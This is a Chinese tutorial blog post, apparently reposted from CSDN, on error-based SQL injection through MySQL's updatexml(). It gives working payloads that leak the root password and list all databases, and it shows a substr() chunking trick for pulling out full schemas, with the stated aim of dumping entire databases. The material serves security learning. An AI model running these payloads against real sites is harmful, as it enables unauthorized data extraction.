SQL注入之错误注入_基于updatexml()

举报
士别三日wyx 发表于 2021/12/23 02:58:17 2021/12/23
【摘要】 updatexml() 常用来修改xml文件的内容 updatexml(参数1 , 参数2 , 参数3); 参数1: 文件名 , 比如 a.xml参数2: 路径 , 比如 contry->city1 ( 不允许特殊字符 )参数3: 数值 , 比如 tianjing  如果路径中存在特殊符号 比如'~',就会报错 , ...

updatexml() 常用来修改xml文件的内容

updatexml(参数1 , 参数2 , 参数3);

  • 参数1: 文件名 , 比如 a.xml
  • 参数2: 路径 , 比如 contry->city1 ( 不允许特殊字符 )
  • 参数3: 数值 , 比如 tianjing

 如果路径中存在特殊符号 比如'~',就会报错 , 同时后显示路径参数的内容

 路径参数的内容总会在错误提示中展示出来

 如果路径参数中包含函数 , 那么函数将会被执行 , 并将执行结果展示在报错内容中

select updatexml(1,concat('~',database()),3);
 

比如,查询当前使用的数据库

 此处的concat() , 可以将执行结果拼接一个'~'字符串 , 目的在于触发错误

 如果路径参数中包含SQL语句 , 同样会被执行 , 并将执行结果展示在报错内容中


  
  1. select updatexml(1,concat('~',
  2. (select password from user where username='root')
  3. ),3);

 

 基于此 , 可将SQL语句替换为其他语句 , 如获取所有数据库


  
  1. select updatexml(1,
  2. concat('~',(
  3. select group_concat(schema_name)
  4. from information_schema.schemata
  5. )),3);

 由于updatexml()返回的字符串长度最多为31个字符串 , 我们可以多次截取返回的字符串的不同位置,从而获取所有的数据库


  
  1. select updatexml(1,concat('~',
  2. substr(
  3. (select group_concat(schema_name)
  4. from information_schema.schemata)
  5. ,1,31)
  6. ),3);

 从第1个字符开始 , 截取31个

 从第32个字符开始 , 截取31个


  
  1. select updatexml(1,concat('~',
  2. substr(
  3. (select group_concat(schema_name)
  4. from information_schema.schemata)
  5. ,32,31)
  6. ),3);

 

 至此 , 已经获取了所有的数据库 , 通过此方法以此获取所有表 , 所有字段 , 实现脱库

文章来源: blog.csdn.net,作者:士别三日wyx,版权归原作者所有,如需转载,请联系作者。

原文链接:blog.csdn.net/wangyuxiang946/article/details/118084345

【版权声明】本文为华为云社区用户转载文章,如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。